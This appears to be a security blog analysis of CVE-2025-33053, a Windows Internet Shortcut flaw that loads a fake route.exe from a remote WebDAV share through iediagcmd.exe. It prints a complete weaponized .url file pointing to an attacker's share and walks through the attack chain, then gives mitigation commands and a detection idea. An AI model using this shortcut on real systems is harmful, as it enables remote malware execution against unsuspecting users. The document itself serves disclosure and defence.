The Shortcut to Hell: Dissecting CVE-2025-33053

In the world of exploit development, complexity is often the enemy. Why spend months crafting a heap feng shui layout to bypass CFG and ASLR when you can just ask Windows to politely run your malware for you? CVE-2025-33053 is the epitome of this philosophy. It doesn't rely on memory corruption; it relies on a logic flaw so ancient it feels like a feature.

Here's the setup: You receive a ZIP file named Invoice_Q3.zip. Inside, there's a file that looks like a PDF. It has a PDF icon. But it's not a PDF. It's a Windows Internet Shortcut (.url). Most users—and frankly, many sysadmins—think of these as harmless text files that open a web browser.

But under the hood, the .url file format is a relic of the INI era, capable of instructing the Windows shell to perform complex behaviors before a browser ever opens. This vulnerability turns that innocuous shortcut into a remote bootloader for malware, bypassing Mark-of-the-Web (MOTW) protections and leveraging trusted system binaries to do the dirty work.

To understand this bug, you have to understand the Windows search order—specifically, how Windows finds executables when a program calls CreateProcess or ShellExecute without a full path. By default, Windows checks the Current Working Directory (CWD) before it checks the System32 folder.

The vulnerability lies in the fact that a .url file allows an attacker to define a specific WorkingDirectory for the target application. Crucially, Windows does not validate if this directory is local. It happily accepts a UNC path pointing to a remote WebDAV share (e.g., \\attacker-ip@80\share).

So, the trap is set like this:

1. The attacker creates a .url file that launches a legitimate Microsoft utility, iediagcmd.exe.
2. They set the WorkingDirectory to their evil WebDAV server.
3. iediagcmd.exe is a sloppy program. During its execution, it tries to launch a helper program, route.exe, but it asks for it by name only, not by absolute path (C:\Windows\System32\route.exe).

Windows looks at the CWD (the attacker's server), sees a file named route.exe (which is actually malware), and says, "Found it!" The trusted, signed Microsoft binary then loads the malware into its own process space. This is a textbook Binary Search Order Hijacking attack, executed remotely.

The "exploit code" here isn't a buffer overflow payload; it's a configuration file. The elegance is in the INI structure. Let's look at the raw bytes of a weaponized shortcut.

[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\192.168.1.66@80\payload
IconFile=C:\Windows\System32\shell32.dll
IconIndex=13
ShowCommand=7

The Breakdown:

• URL: This points to the gadget binary. iediagcmd.exe is the chosen victim because it is present on almost all Windows systems and reliably calls external binaries insecurely.
• WorkingDirectory: The smoking gun. The @80 syntax forces the Windows WebClient service to connect via WebDAV over HTTP, bypassing SMB blocking at the network perimeter.
• IconFile: Pure social engineering. This sets the icon to something trustworthy (like a folder or document icon) to hide the fact that it's a shortcut.

From a researcher's perspective, this is brilliant because iediagcmd.exe is whitelisted by almost every EDR on the planet. Who blocks Internet Explorer diagnostic tools?

Let's walk through the attack chain used by the Stealth Falcon group. It creates a perfect storm of trusted execution.

1. Stage 1: The Lure. The user extracts a ZIP file containing Urgent.pdf.url. The .url extension might even be hidden if "Hide extensions for known file types" is enabled (which, tragically, is the default).
2. Stage 2: The Connection. Upon double-clicking, Windows reads the WorkingDirectory. The WebClient service initiates an outbound connection to attacker-ip on port 80. Firewalls usually permit port 80 traffic.
3. Stage 3: The Bait and Switch. Windows launches iediagcmd.exe locally. This process sets its environment's current directory to the remote share.
4. Stage 4: The Hook. iediagcmd.exe reaches a line of code where it needs to modify routing tables. It calls CreateProcess("route.exe", ...).
5. Stage 5: Execution. Windows queries the remote WebDAV share: "Do you have route.exe?" The attacker's server replies "Yes" and serves the malware.

The malicious route.exe acts as a loader. In the wild, this deployed the "Horus Agent," but it could just as easily run a Meterpreter session.

Microsoft's patch for CVE-2025-33053 essentially explicitly forbids the WorkingDirectory property in .url files from referencing remote locations via UNC paths when the target is a local executable. It's a validation check added to the shell handler.

However, patching isn't instant. If you are in the trenches and can't patch immediately, you have the "Nuclear Option": Disable the WebClient Service.

> [!NOTE] > The WebClient service is what allows Windows Explorer to interact with WebDAV shares. If your organization doesn't use SharePoint mapped drives or obscure WebDAV features, kill this service. It is the bridge that allows this vulnerability to traverse the internet.

Remediation Command:

Stop-Service WebClient
Set-Service WebClient -StartupType Disabled

Additionally, update your EDR to flag iediagcmd.exe spawning any child process where the image path is not in System32. That behavior is anomalous and almost certainly malicious.